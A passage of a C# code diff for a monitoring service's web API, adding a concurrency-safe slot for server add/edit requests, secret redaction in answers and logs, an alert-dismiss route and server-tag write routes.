-    /// refused (SQLSTATE 53400) — named separately from the generic "Query failed: {MessageText}" text
-    /// (#4283) because the store's own wording ("temporary file size exceeds temp_file_limit") names an
-    /// internal setting the panel author has no way to change; this names the ACTIONS they can take
-    /// instead.</summary>
-    internal const string TempFileLimitExceededMessage =
-        "This panel needed more temporary disk space than a dashboard read may use. Narrow the time window, choose an hourly or daily grain, or add a filter.";
+    internal static readonly ServerWriteSlotLabels AddSlotLabels = new(
+        "A server add or edit is already running. Wait for it to finish, then try again.",
+        ServerAddTimedOutText, "add_servers", "/api/servers", "POST /api/servers: the add");
 
-    /// <summary>#4293 round 2 (R2-L1, R2-L2): the compose runner's PostgresException decision, pulled out of the
-    /// catch so a test runs it. <see cref="IsComposeRunAuthorActionable"/>'s SQLSTATEs count only at ERROR
-    /// severity: a FATAL or PANIC is a connection-level store fault whatever its class (a startup parameter the
-    /// server rejects answers FATAL 22023 or 42704, which names the configured setting and its value).</summary>
-    internal static ComposeRunOutcome FromPostgresException(PostgresException ex) =>
-        ex.SqlState == ReadOutcomeClassifier.ConfigurationLimitExceeded && ex.InvariantSeverity is not ("FATAL" or "PANIC")
-            ? ComposeRunOutcome.AuthorQueryError(TempFileLimitExceededMessage, ex.SqlState)
-            : IsComposeRunAuthorActionable(ex.SqlState) && ex.InvariantSeverity is not ("FATAL" or "PANIC")
+    internal static readonly ServerWriteSlotLabels EditSlotLabels = new(
+        "A server add or edit is already running. Wait for it to finish, then try again.",
+        ServerEditTimedOutText, "edit_server", "/api/servers/{id}", "PATCH /api/servers/{id}: the edit");
+
+    /// <summary>How long one <c>PATCH /api/servers/{id}</c> request may hold the slot (one probe, not twenty).</summary>
+    internal static readonly TimeSpan ServerEditSlotTimeout = TimeSpan.FromSeconds(60);
+
+    internal const string ServerEditTimedOutText = "Editing the server took too long; check the server's settings before retrying. If every later add or edit is refused as busy, restart the service.";
+
+    /// <summary>The outcome of <see cref="RunInServerWriteSlotAsync"/>: either an <see cref="Early"/> answer (busy,
+    /// timed out, or faulted) or the core's <see cref="Answer"/> and how long it ran.</summary>
+    internal sealed record ServerWriteRun(IResult? Early, string? Answer, Stopwatch? Stopwatch);
+
+    /// <summary>
+    /// The ONE place the server-write slot is taken, held and freed (#5268's fix, shared by add and edit so the next
+    /// server-write route cannot reintroduce the race). <c>Wait(0)</c> or 429; the core starts; two exits can free the
+    /// slot, the handler when the core finished inside the wait and the core's own continuation when it outlives the
+    /// wait, and both go through one <see cref="SingleReleaseSlot"/> so it is freed at most once; the handler frees it
+    /// in <c>finally</c> BEFORE the caller writes any answer, so a client that sends again the moment it reads the
+    /// answer finds the slot free. A core that outlives <paramref name="timeout"/> answers 503 and keeps the slot
+    /// until it finishes, and a core that outlives it can still commit: <paramref name="auditLateAnswer"/> receives
+    /// its answer when it finishes, so the route's audit line is written for a write the client was told nothing
+    /// about. It runs after the request is over, so it must not touch the HttpContext. Only the exception TYPE is
+    /// ever logged or answered: its message could quote a value the request carried.
+    /// </summary>
+    private static async Task<ServerWriteRun> RunInServerWriteSlotAsync(
+        SemaphoreSlim gate, Func<Task<string>> start, TimeSpan timeout, ServerWriteSlotLabels labels, ILogger logger,
+        Action<string>? auditLateAnswer = null)
+    {
+        if (!gate.Wait(0))
+        {
+            return new ServerWriteRun(ErrorResult(labels.BusyText, StatusCodes.Status429TooManyRequests), null, null);
+        }
+
+        var stopwatch = Stopwatch.StartNew();
+        var slot = new SingleReleaseSlot(gate);
+
+        /* The core takes no request token, like the tool: a client that disconnects mid-write must not leave it
+           half-attempted and unaudited. */
+        Task<string> running;
+        try
+        {
+            running = start();
+        }
+        catch (Exception ex)
+        {
+            /* start threw before returning a task: nothing is running, so free the slot here. EVERY synchronous throw
+               is caught, cancellation included: the slot is not released in a finally, so a type that escaped this
+               catch would hold it for the life of the process and answer 429 forever. */
+            slot.Release();
+            return new ServerWriteRun(
+                ServerErrorResult($"{labels.ToolName} failed ({ex.GetType().Name})", labels.Route, logger, stopwatch.ElapsedMilliseconds), null, null);
+        }
+
+        /* The slot is freed by the core itself, once, when it finishes (completed or faulted) - never by the wait's
+           timeout, so a core that outlives the timeout still holds the slot. */
+        _ = running.ContinueWith(_ => slot.Release(), TaskScheduler.Default);
+
+        try
+        {
+            var answer = await running.WaitAsync(timeout);
+            return new ServerWriteRun(null, answer, stopwatch);
+        }
+        catch (TimeoutException)
+        {
+            _ = running.ContinueWith(t => _ = t.Exception, TaskContinuationOptions.OnlyOnFaulted);
+            if (auditLateAnswer is not null)
+            {
+                /* The core still commits after the 503: write its audit line when it finishes. Never touch HttpContext here. */
+                _ = running.ContinueWith(
+                    t => auditLateAnswer(t.Result), CancellationToken.None, TaskContinuationOptions.OnlyOnRanToCompletion, TaskScheduler.Default);
+            }
+
+            logger.LogWarning("{Verb} did not finish within {Seconds} s; the slot stays held until it does", labels.LogVerb, (int)timeout.TotalSeconds);
+            return new ServerWriteRun(ErrorResult(labels.TimedOutText, StatusCodes.Status503ServiceUnavailable), null, null);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* The cores catch their own faults, so this is a backstop; only the TYPE is logged. */
+            return new ServerWriteRun(
+                ServerErrorResult($"{labels.ToolName} failed ({ex.GetType().Name})", labels.Route, logger, stopwatch.ElapsedMilliseconds), null, null);
+        }
+        finally
+        {
+            /* A core that finished inside the wait frees the slot here, before any response is produced. One still
+               running (the timeout path) keeps it: only its own continuation frees it. */
+            if (running.IsCompleted)
+            {
+                slot.Release();
+            }
+        }
+    }
+
+    /// <summary>
+    /// Frees one acquired slot of a one-slot gate at most once, however many exits call <see cref="Release"/> and in
+    /// whatever order. A plain second <c>Release</c> is not harmless: if another add has already taken the slot in
+    /// between, the extra release frees the slot that add holds, and a third add runs beside it.
+    /// </summary>
+    internal sealed class SingleReleaseSlot
+    {
+        private readonly SemaphoreSlim gate;
+        private int held = 1;
+
+        internal SingleReleaseSlot(SemaphoreSlim gate)
+        {
+            this.gate = gate;
+        }
+
+        /// <summary>Frees the slot on the first call; every later call does nothing.</summary>
+        internal void Release()
+        {
+            if (Interlocked.Exchange(ref held, 0) == 1)
+            {
+                gate.Release();
+            }
+        }
+    }
+
+    /// <summary>
+    /// PURE: parses the add body into its entries. False with a fixed, caller-facing <paramref name="refusal"/>
+    /// when the body is not a JSON array of 1 to <see cref="MaxServersPerAddRequest"/> objects. The refusal names
+    /// no part of the body.
+    /// </summary>
+    internal static bool TryReadServerAddBody(string body, out List<JsonObject> entries, out string? refusal)
+    {
+        entries = new List<JsonObject>();
+        refusal = null;
+
+        JsonNode? root;
+        try
+        {
+            root = JsonNode.Parse(body);
+        }
+        catch (Exception ex) when (ex is JsonException or ArgumentException)
+        {
+            refusal = "Request body is not valid JSON.";
+            return false;
+        }
+
+        if (root is not JsonArray array)
+        {
+            refusal = "Request body must be a JSON array of server objects.";
+            return false;
+        }
+
+        if (array.Count == 0)
+        {
+            refusal = "Request body must hold at least one server object.";
+            return false;
+        }
+
+        if (array.Count > MaxServersPerAddRequest)
+        {
+            refusal = $"A request may add at most {MaxServersPerAddRequest} servers; send the rest in another request.";
+            return false;
+        }
+
+        foreach (var element in array)
+        {
+            if (element is not JsonObject entry)
+            {
+                refusal = "Every entry must be a JSON object.";
+                return false;
+            }
+
+            try
+            {
+                /* A duplicate property name throws ArgumentException on the first enumeration; force it here so it
+                   answers 400, like the dismiss route. */
+                _ = entry.Count;
+            }
+            catch (ArgumentException)
+            {
+                refusal = "An entry has a duplicate field.";
+                return false;
+            }
+
+            entries.Add(entry);
+        }
+
+        return true;
+    }
+
+    /// <summary>The non-empty <c>password</c> values the request carried (a SQL password or a service-principal client secret),
+    /// and the typed <c>aws_external_id</c> (#5452), redacted the same way.</summary>
+    private static List<string> SubmittedSecrets(List<JsonObject> entries)
+    {
+        var secrets = new List<string>();
+        foreach (var entry in entries)
+        {
+            if (TryGetString(entry, "password") is { Length: > 0 } secret)
+            {
+                secrets.Add(secret);
+            }
+
+            if (TryGetString(entry, "aws_external_id") is { Length: > 0 } externalId)
+            {
+                secrets.Add(externalId);
+                if (externalId.Trim() is { Length: > 0 } trimmedExternalId && trimmedExternalId != externalId)
+                {
+                    secrets.Add(trimmedExternalId);
+                }
+            }
+        }
+
+        return secrets;
+    }
+
+    /// <summary>PURE: <paramref name="text"/> with every occurrence of every secret replaced.</summary>
+    internal static string RedactSecrets(string text, IReadOnlyList<string> secrets)
+    {
+        foreach (var secret in secrets)
+        {
+            text = text.Replace(secret, RedactedSecret, StringComparison.Ordinal);
+        }
+
+        return text;
+    }
+
+    /// <summary>The core's envelope with any submitted secret removed from its free-text fields (<c>detail</c>,
+    /// <c>message</c>, <c>server</c>). The envelope keeps its shape; an envelope that does not parse is replaced
+    /// by a fixed refusal rather than passed through unredacted.</summary>
+    internal static string RedactAddAnswer(string answer, IReadOnlyList<string> secrets)
+    {
+        if (secrets.Count == 0)
+        {
+            return answer;
+        }
+
+        try
+        {
+            if (JsonNode.Parse(answer) is not JsonObject envelope)
+            {
+                return RedactSecrets(answer, secrets);
+            }
+
+            RedactField(envelope, "message", secrets);
+            if (envelope["results"] is JsonArray results)
+            {
+                foreach (var row in results.OfType<JsonObject>())
+                {
+                    RedactField(row, "detail", secrets);
+                    RedactField(row, "server", secrets);
+                }
+            }
+
+            return envelope.ToJsonString();
+        }
+        catch (JsonException)
+        {
+            return "{\"status\":\"error\",\"message\":\"The answer could not be read.\"}";
+        }
+    }
+
+    private static void RedactField(JsonObject node, string key, IReadOnlyList<string> secrets)
+    {
+        if (node[key] is JsonValue value && value.TryGetValue<string>(out var text))
+        {
+            node[key] = RedactSecrets(text, secrets);
+        }
+    }
+
+    /// <summary>The auth mode an add entry names, in the words the tool documents; absent means Windows.</summary>
+    private static string AuthModeOf(JsonObject entry) => TryGetString(entry, "auth")?.Trim().ToLowerInvariant() switch
+    {
+        null or "" or "windows" => "Windows",
+        "sql" => "SQL",
+        "serviceprincipal" => "ServicePrincipal",
+        "managedidentity" => "ManagedIdentity",
+        _ => "other",
+    };
+
+    /// <summary>One Information line per failed row with the core's full detail (secrets already redacted), so the
+    /// operator keeps what the web answer no longer shows.</summary>
+    private static void LogServerAddFailures(ILogger logger, string principal, string answer)
+    {
+        try
+        {
+            if (JsonNode.Parse(answer) is JsonObject envelope && envelope["results"] is JsonArray results)
+            {
+                foreach (var row in results.OfType<JsonObject>())
+                {
+                    var status = TryGetString(row, "status");
+                    if (status != DarlingMcpServerAdminTools.AddStatus.ConnectionFailed && status != DarlingMcpServerAdminTools.AddStatus.NotSaved)
+                    {
+                        continue;
+                    }
+
+                    logger.LogInformation(
+                        "Server add failed for {Principal}: {Server}, {Status}: {Detail}",
+                        DarlingHttpRefusalLog.Sanitize(principal, 256),
+                        DarlingHttpRefusalLog.Sanitize(TryGetString(row, "server") ?? "", 256),
+                        status,
+                        DarlingHttpRefusalLog.Sanitize(TryGetString(row, "detail") ?? "", 1024));
+                }
+            }
+        }
+        catch (JsonException)
+        {
+            /* An unreadable answer has no rows to log. */
+        }
+    }
+
+    /// <summary>One Information line per server this request ADDED: who, which server and its auth mode. Request
+    /// text is sanitized before it reaches the log; the secret is never read here.</summary>
+    private static void LogServerAdds(ILogger logger, string principal, List<JsonObject> entries, string answer)
+    {
+        var authByName = new Dictionary<string, string>(StringComparer.Ordinal);
+        var roleByName = new Dictionary<string, string>(StringComparer.Ordinal);
+        foreach (var entry in entries)
+        {
+            var host = TryGetString(entry, "host")?.Trim();
+            var name = TryGetString(entry, "display_name") is { Length: > 0 } displayName ? displayName.Trim() : host;
+            if (!string.IsNullOrEmpty(name))
+            {
+                authByName.TryAdd(name, AuthModeOf(entry));
+                if (TryGetString(entry, "aws_role_arn")?.Trim() is { Length: > 0 } awsRole)
+                {
+                    roleByName.TryAdd(name, awsRole);
+                }
+            }
+        }
+
+        try
+        {
+            if (JsonNode.Parse(answer) is JsonObject { } envelope && envelope["results"] is JsonArray results)
+            {
+                foreach (var row in results.OfType<JsonObject>())
+                {
+                    if (TryGetString(row, "status") != DarlingMcpServerAdminTools.AddStatus.Added)
+                    {
+                        continue;
+                    }
+
+                    var server = TryGetString(row, "server") ?? "";
+                    logger.LogInformation(
+                        "Server added by {Principal}: {Server}, auth {AuthMode}",
+                        DarlingHttpRefusalLog.Sanitize(principal, 256), DarlingHttpRefusalLog.Sanitize(server, 256), authByName.GetValueOrDefault(server, "other"));
+                    if (roleByName.TryGetValue(server, out var addedRole))
+                    {
+                        /* #5452: the role an add set, with the principal. The external ID is never logged. */
+                        logger.LogInformation(
+                            "AWS role set by {Principal} on add: {Server}, role {NewRole}",
+                            DarlingHttpRefusalLog.Sanitize(principal, 256), DarlingHttpRefusalLog.Sanitize(server, 256), DarlingHttpRefusalLog.Sanitize(addedRole, 2200));
+                    }
+                }
+            }
+        }
+        catch (JsonException)
+        {
+            /* The answer was written by the core; an unreadable one has no added rows to audit. */
+        }
+    }
+
+    /// <summary>The most alert keys one dismiss request may carry.</summary>
+    internal const int MaxDismissKeys = 1000;
+
+    /// <summary>The most request-body bytes the dismiss route reads before it answers 400.</summary>
+    internal const int MaxDismissBodyBytes = 256 * 1024;
+
+    /// <summary>The longest metric name a dismiss key may carry; real metric names are far shorter.</summary>
+    internal const int MaxDismissMetricNameLength = 512;
+
+    /// <summary>
+    /// <c>POST /api/alert-history/dismiss</c>: marks the listed Alert History rows dismissed (the web twin of the
+    /// Viewer's Dismiss Selected; Dismiss All is the client sending every visible key, so there is no
+    /// dismiss-everything verb). The body is <c>{"alerts":[{"alert_time":"…","server_id":1,"metric_name":"…"}]}</c>,
+    /// the identity the Viewer's dismiss keys on, taken from the row <c>get_alert_history</c> returned.
+    /// <c>application/json</c> is required (415 otherwise, the CSRF defense the mute routes use); a read-only
+    /// seat is refused by the host's group-level write gate before this handler runs
+    /// (<see cref="Hosting.DarlingWebSeat.IsRequestAllowed"/> allows only GET/HEAD/OPTIONS for it). The write
+    /// runs on the host's <c>viewer</c> pool, whose only privilege here is the column-level
+    /// <c>UPDATE (dismissed)</c> on <c>config_alert_log</c>. Keys are deduped; a key that names no alert row is
+    /// counted in <c>unknown</c>, not an error. 200 answers <c>{requested, dismissed, already_dismissed, unknown}</c>.
+    /// </summary>
+    private static void MapAlertHistoryDismiss(WebApplication app, NpgsqlDataSource postgres, ILogger logger)
+    {
+        app.MapPost("/api/alert-history/dismiss", async (HttpContext context) =>
+        {
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            string body;
+            try
+            {
+                body = await ReadBoundedBodyAsync(context, MaxDismissBodyBytes);
+            }
+            catch (InvalidDataException)
+            {
+                return ErrorResult("Request body is too large.", StatusCodes.Status400BadRequest);
+            }
+
+            var parsed = ParseDismissBody(body, out var keys, out var refusal);
+            if (!parsed)
+            {
+                return ErrorResult(refusal!, StatusCodes.Status400BadRequest);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            try
+            {
+                var outcome = await AlertDismissStore.DismissKeysAsync(
+                    postgres, keys, McpCommandDeadlines.ReadSeconds, context.RequestAborted);
+
+                /* Who dismissed is not stored on the row; this line is the only record. Counts only, no alert text. */
+                logger.LogInformation(
+                    "Alert dismiss by {Principal}: requested {Requested}, dismissed {Dismissed}, known {Known}",
+                    DarlingWebSeat.FromContext(context).EditorPrincipal, outcome.Requested, outcome.Dismissed, outcome.Known);
+
+                return JsonNodeResult(new JsonObject
+                {
+                    ["requested"] = outcome.Requested,
+                    ["dismissed"] = outcome.Dismissed,
+                    ["already_dismissed"] = Math.Max(0, outcome.Known - outcome.Dismissed),
+                    ["unknown"] = Math.Max(0, outcome.Requested - outcome.Known),
+                });
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                DarlingWebFailureLog.Report(logger, "/api/alert-history/dismiss", stopwatch.ElapsedMilliseconds, ex);
+                return Results.Json(DarlingWebFailureLog.Body(ex), statusCode: DarlingWebFailureLog.StatusCode(ex));
+            }
+        });
+    }
+
+    /// <summary>
+    /// PURE: parses a dismiss body into its distinct keys, in first-seen order. False with a caller-facing
+    /// <paramref name="refusal"/> when the body is not a JSON object with a non-empty <c>alerts</c> array of at
+    /// most <see cref="MaxDismissKeys"/> objects, each with an ISO-8601 <c>alert_time</c>, an integer
+    /// <c>server_id</c> and a non-empty <c>metric_name</c>. A time that carries an offset is converted to UTC; a
+    /// bare time is taken as the store's naive UTC, which is how <c>get_alert_history</c> spells it.
+    /// </summary>
+    internal static bool ParseDismissBody(string body, out List<AlertDismissKey> keys, out string? refusal)
+    {
+        keys = new List<AlertDismissKey>();
+        refusal = null;
+
+        JsonNode? root;
+        try
+        {
+            root = JsonNode.Parse(body);
+        }
+        catch (JsonException)
+        {
+            refusal = "Request body must be a JSON object.";
+            return false;
+        }
+
+        /* A duplicate property name makes the JsonObject indexer throw ArgumentException; that is a caller's
+           malformed body (400), not a server fault. */
+        JsonNode? alertsNode = null;
+        try
+        {
+            alertsNode = (root as JsonObject)?["alerts"];
+        }
+        catch (ArgumentException)
+        {
+            refusal = "Request body must be a JSON object with one alerts array.";
+            return false;
+        }
+
+        if (root is not JsonObject || alertsNode is not JsonArray alerts)
+        {
+            refusal = "Request body must be {\"alerts\": [{\"alert_time\", \"server_id\", \"metric_name\"}, ...]}.";
+            return false;
+        }
+
+        if (alerts.Count == 0)
+        {
+            refusal = "alerts must name at least one alert.";
+            return false;
+        }
+
+        if (alerts.Count > MaxDismissKeys)
+        {
+            refusal = $"alerts may name at most {MaxDismissKeys} alerts per request.";
+            return false;
+        }
+
+        var seen = new HashSet<AlertDismissKey>();
+        foreach (var item in alerts)
+        {
+            if (item is not JsonObject entry
+                || !TryReadString(entry["alert_time"], out var timeText)
+                || !TryReadString(entry["metric_name"], out var metric)
+                || metric.Length == 0 || metric.Length > MaxDismissMetricNameLength
+                || entry["server_id"] is not JsonValue idValue || !idValue.TryGetValue<int>(out var serverId)
+                || !DateTime.TryParse(
+                    timeText, CultureInfo.InvariantCulture,
+                    DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal, out var time))
+            {
+                refusal = "Each alert needs an ISO-8601 alert_time, an integer server_id and a non-empty metric_name.";
+                return false;
+            }
+
+            var key = new AlertDismissKey(DateTime.SpecifyKind(time, DateTimeKind.Unspecified), serverId, metric);
+            if (seen.Add(key))
+            {
+                keys.Add(key);
+            }
+        }
+
+        return true;
+    }
+
+    private static bool TryReadString(JsonNode? node, out string value)
+    {
+        value = "";
+        if (node is JsonValue v && v.TryGetValue<string>(out var text) && text is not null)
+        {
+            value = text;
+            return true;
+        }
+
+        return false;
+    }
+
+    /// <summary>Reads the request body, refusing (<see cref="InvalidDataException"/>) past <paramref name="maxBytes"/>.</summary>
+    private static async Task<string> ReadBoundedBodyAsync(HttpContext context, int maxBytes)
+    {
+        using var buffer = new MemoryStream();
+        var chunk = new byte[8192];
+        int read;
+        while ((read = await context.Request.Body.ReadAsync(chunk, context.RequestAborted)) > 0)
+        {
+            if (buffer.Length + read > maxBytes)
+            {
+                throw new InvalidDataException("Request body is too large.");
+            }
+
+            buffer.Write(chunk, 0, read);
+        }
+
+        return System.Text.Encoding.UTF8.GetString(buffer.GetBuffer(), 0, (int)buffer.Length);
+    }
+
+    /// <summary>
+    /// <c>GET /api/admin/servers</c> (#5239): the Admin page's Manage Servers grid - every configured server,
+    /// enabled or disabled, with its authentication mode, monthly cost and added time (see
+    /// <see cref="DarlingAdminServersReader"/>). It is a web-only route: <c>list_servers</c> keeps its
+    /// enabled-only answer for every other consumer, and a route here adds nothing to the MCP <c>tools/list</c>.
+    /// The gate is the one every web route sits behind (the sign-in gate, then the seat's method gate, which
+    /// lets a read-only seat make a GET); the read runs on the viewer-role pool, whose column grant on
+    /// <c>config_monitored_servers</c> leaves out the credential columns, and the statement names none of them.
+    /// </summary>
+    internal static void MapAdminServers(WebApplication app, NpgsqlDataSource postgres)
+    {
+        app.MapGet(DarlingAdminServersReader.Route, async (HttpContext context) =>
+        {
+            var rows = await DarlingAdminServersReader.ReadAsync(postgres, context.RequestAborted);
+            return Results.Text(DarlingAdminServersReader.Render(rows, DateTime.UtcNow), "application/json");
+        });
+    }
+
+    /// <summary>
+    /// The fleet server-tag write routes (#5085), the same shape as <see cref="MapMuteRules"/>: each route parses
+    /// its JSON body and hands it to the matching <c>DarlingMcpServerTagTools.*Core</c> over a
+    /// <see cref="ServerTagStore"/> on the viewer-role pool, so the web surface and the MCP tools share one set of
+    /// rules (names, colours, depth, cycles, sibling uniqueness) and one set of answers. <c>application/json</c> is
+    /// required on every route, the same CSRF discipline as the mute-rule routes. The admin gate is the seat's
+    /// method gate (<see cref="DarlingWebSeat.IsRequestAllowed"/> refuses every non-GET from a read-only seat);
+    /// the viewer role's two single-table grants are only the floor beneath it.
+    ///
+    /// <para><b>Routes.</b> <c>POST /api/server-tags</c> (<c>{name, parent_id?, colour?}</c>, 201 on
+    /// <c>created</c>); <c>PATCH /api/server-tags/{id}</c> (the body IS the partial <c>changes_json</c>);
+    /// <c>DELETE /api/server-tags/{id}?confirm=true</c> (the flag rides the query string, so the DELETE stays
+    /// bodyless like <c>DELETE /api/mute-rules/{id}</c>); <c>POST /api/server-tags/{id}/servers</c> and
+    /// <c>DELETE /api/server-tags/{id}/servers</c> (<c>{server_ids: [...]}</c> in the body).</para>
+    ///
+    /// <para><b>Statuses.</b> See <see cref="ServerTagEnvelopeStatus"/>: the mute-rule mapping plus
+    /// <c>conflict</c> and <c>confirm_required</c> as 409, the latter with its full envelope (the
+    /// <c>affected_rules</c> a delete would orphan) as the body.</para>
+    /// </summary>
+    internal static void MapServerTags(WebApplication app, NpgsqlDataSource postgres, ILogger logger)
+    {
+        var store = new ServerTagStore(postgres, DarlingMcpServerTagTools.WriteCommandSeconds);
+
+        app.MapPost("/api/server-tags", async (HttpContext context) =>
+        {
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            var (body, bodyError) = await ReadJsonObjectAsync(context);
+            if (body is null)
+            {
+                return ErrorResult(bodyError!, StatusCodes.Status400BadRequest);
+            }
+
+            if (!TryReadCreateBody(body, out var name, out var parentId, out var colour, out var createError))
+            {
+                return ErrorResult(createError!, StatusCodes.Status400BadRequest);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            var result = await Mcp.DarlingMcpServerTagTools.CreateServerTagCore(store, name, parentId, colour, context.RequestAborted);
+            LogServerTagWrite(logger, context, "create", null, result, 0);
+            return ServerTagToolResult(result, "/api/server-tags", logger, stopwatch.ElapsedMilliseconds, StatusCodes.Status201Created);
+        });
+
+        app.MapPatch("/api/server-tags/{id:int}", async (HttpContext context, int id) =>
+        {
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            string changes;
+            try
+            {
+                changes = await ReadBoundedBodyAsync(context, MaxServerTagBodyBytes);
+            }
+            catch (InvalidDataException)
+            {
+                return ErrorResult("Request body is too large.", StatusCodes.Status400BadRequest);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            var result = await Mcp.DarlingMcpServerTagTools.UpdateServerTagCore(store, id, changes, context.RequestAborted);
+            LogServerTagWrite(logger, context, "update", id, result, 0);
+            return ServerTagToolResult(result, "/api/server-tags/{id}", logger, stopwatch.ElapsedMilliseconds);
+        });
+
+        app.MapDelete("/api/server-tags/{id:int}", async (HttpContext context, int id) =>
+        {
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            var (confirm, confirmRefusal) = ParseConfirm(context.Request.Query);
+            if (confirmRefusal is not null)
+            {
+                return ErrorResult(confirmRefusal, StatusCodes.Status400BadRequest);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            var result = await Mcp.DarlingMcpServerTagTools.DeleteServerTagCore(store, id, confirm, context.RequestAborted);
+            LogServerTagWrite(logger, context, "delete", id, result, 0);
+            return ServerTagToolResult(result, "/api/server-tags/{id}", logger, stopwatch.ElapsedMilliseconds);
+        });
+
+        app.MapPost("/api/server-tags/{id:int}/servers", async (HttpContext context, int id) =>
+        {
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            var (serverIds, idsError) = await ReadServerIdsAsync(context);
+            if (serverIds is null)
+            {
+                return ErrorResult(idsError!, StatusCodes.Status400BadRequest);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            var result = await Mcp.DarlingMcpServerTagTools.AssignServerTagCore(store, id, serverIds, context.RequestAborted);
+            LogServerTagWrite(logger, context, "assign", id, result, serverIds.Count);
+            return ServerTagToolResult(result, "/api/server-tags/{id}/servers", logger, stopwatch.ElapsedMilliseconds);
+        });
+
+        app.MapDelete("/api/server-tags/{id:int}/servers", async (HttpContext context, int id) =>
+        {
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            var (serverIds, idsError) = await ReadServerIdsAsync(context);
+            if (serverIds is null)
+            {
+                return ErrorResult(idsError!, StatusCodes.Status400BadRequest);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            var result = await Mcp.DarlingMcpServerTagTools.UnassignServerTagCore(store, id, serverIds, context.RequestAborted);
+            LogServerTagWrite(logger, context, "unassign", id, result, serverIds.Count);
+            return ServerTagToolResult(result, "/api/server-tags/{id}/servers", logger, stopwatch.ElapsedMilliseconds);
+        });
+    }
+
+    /// <summary>Parses the request body as one JSON object, or names why it is not.</summary>
+    private static async Task<(JsonObject? Body, string? Error)> ReadJsonObjectAsync(HttpContext context)
+    {
+        string text;
+        try
+        {
+            text = await ReadBoundedBodyAsync(context, MaxServerTagBodyBytes);
+        }
+        catch (InvalidDataException)
+        {
+            return (null, "Request body is too large.");
+        }
+
+        try
+        {
+            var root = JsonNode.Parse(text);
+            if (root is not JsonObject body)
+            {
+                return (null, "Request body must be a JSON object.");
+            }
+
+            /* A duplicate property name throws ArgumentException on the first enumeration; force it here so it
+               answers 400 (a caller's malformed body), like the dismiss route. */
+            _ = body.Count;
+            return (body, null);
+        }
+        catch (JsonException)
+        {
+            return (null, "Request body is not valid JSON.");
+        }
+        catch (ArgumentException)
+        {
+            return (null, "Request body has a duplicate field.");
+        }
+    }
+
+    /// <summary>The most request-body bytes a server-tag write route reads before it answers 400 (1000 ids is about 12 KB).</summary>
+    internal const int MaxServerTagBodyBytes = 64 * 1024;
+
+    /// <summary>Who changed tag scope is not stored on the row; this line is the only record. Verb, tag id and
+    /// counts only, never a tag name or body text. Logged for a successful write (not invalid / refused).</summary>
+    private static void LogServerTagWrite(ILogger logger, HttpContext context, string verb, int? tagId, string result, int serverCount)
+    {
+        if (ServerTagEnvelopeStatus(result) is < 200 or >= 300)
+        {
+            return;
+        }
+
+        logger.LogInformation(
+            "Server tag {Verb} by {Principal}: tag {TagId}, servers {ServerCount}",
+            verb, DarlingWebSeat.FromContext(context).EditorPrincipal, tagId, serverCount);
+    }
+
+    /// <summary>Reads <c>{name, parent_id?, colour?}</c>: only those keys, with their JSON types, so a stray or
+    /// mistyped field is a 400 here rather than a silently dropped one.</summary>
+    internal static bool TryReadCreateBody(JsonObject body, out string? name, out int? parentId, out string? colour, out string? error)
+    {
+        name = null;
+        parentId = null;
+        colour = null;
+        error = null;
+
+        foreach (var property in body)
+        {
+            if (property.Key is not ("name" or "parent_id" or "colour"))
+            {
+                error = $"Unknown field '{property.Key}'. A server tag takes name, parent_id and colour.";
+                return false;
+            }
+        }
+
+        if (body["name"] is JsonValue nameValue && nameValue.TryGetValue<string>(out var nameText))
+        {
+            name = nameText;
+        }
+        else if (body["name"] is not null)
+        {
+            error = "name must be a string.";
+            return false;
+        }
+
+        if (body["parent_id"] is JsonNode parentNode)
+        {
+            if (parentNode is JsonValue parentValue && parentValue.TryGetValue<int>(out var parent))
+            {
+                parentId = parent;
+            }
+            else
+            {
+                error = "parent_id must be a whole number, or null for a root tag.";
+                return false;
+            }
+        }
+
+        if (body["colour"] is JsonNode colourNode)
+        {
+            if (colourNode is JsonValue colourValue && colourValue.TryGetValue<string>(out var colourText))
+            {
+                colour = colourText;
+            }
+            else
+            {
+                error = "colour must be a #RRGGBB string, or null for the palette colour.";
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>Reads <c>{server_ids: [int, ...]}</c> from the body, or names why it cannot.</summary>
+    private static async Task<(List<int>? ServerIds, string? Error)> ReadServerIdsAsync(HttpContext context)
+    {
+        var (body, error) = await ReadJsonObjectAsync(context);
+        if (body is null)
+        {
+            return (null, error);
+        }
+
+        if (body.Count != 1 || body["server_ids"] is not JsonArray array)
+        {
+            return (null, "Request body must be exactly {\"server_ids\": [whole numbers]}.");
+        }
+
+        var ids = new List<int>(array.Count);
+        foreach (var element in array)
+        {
+            if (element is JsonValue value && value.TryGetValue<int>(out var id))
+            {
+                ids.Add(id);
+            }
+            else
+            {
+                return (null, "server_ids must hold only whole numbers.");
+            }
+        }
+
+        return (ids, null);
+    }
+
+    /// <summary>
+    /// The HTTP status a server-tag verb's returned string maps to: the mute-rule mapping
+    /// (<see cref="MuteRuleEnvelopeStatus"/>: <c>invalid</c> 400, <c>not_found</c> 404, the caught-exception
+    /// envelope 500, any other envelope the success status) plus the two statuses the tag verbs add —
+    /// <c>conflict</c> (a sibling already holds the name) and <c>confirm_required</c> (a delete that would orphan
+    /// custom alert rules until repeated with <c>confirm=true</c>) — both 409. The body is untouched either way,
+    /// so <c>affected_rules</c> reaches the caller.
+    /// </summary>
+    internal static int ServerTagEnvelopeStatus(string result, int successStatus = StatusCodes.Status200OK)
+    {
